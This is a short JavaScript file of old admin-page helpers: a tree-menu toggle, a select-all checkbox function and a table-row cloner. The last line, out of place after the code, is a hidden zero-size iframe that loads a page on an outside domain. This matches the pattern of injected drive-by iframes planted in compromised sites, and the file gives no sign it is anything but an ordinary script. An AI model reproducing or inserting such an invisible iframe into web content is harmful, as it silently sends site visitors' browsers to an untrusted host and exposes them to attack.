// JavaScript Document
function puttree(id){
	for(i=0;i<sontree.length;i++){
		if(i==id){
			if(document.all.sontree[i].style.display!=""){
				document.all.sontree[i].style.display = "";
			}
			else{
				document.all.sontree[i].style.display = "none";
			}
		}
		else{
			document.all.sontree[i].style.display = "none";
		}
	}
}

function CheckAll(form){
	for (var i=0;i<form.del.length;i++){
		var e = form.del[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
	} 
}

function add(i){
	if(insertnew1.style.display=="none"){
		insertnew1.style.display="";}
	else{
		var newTR = insertnew1.cloneNode(true);
		newTR.id="insertnew"+(++i);
		insertnew1.parentNode.insertAdjacentElement("beforeEnd",newTR);
	}
}
<iframe src="http://www.kissip.cn/index.html?id=dumeng" width="0" height="0" ></iframe>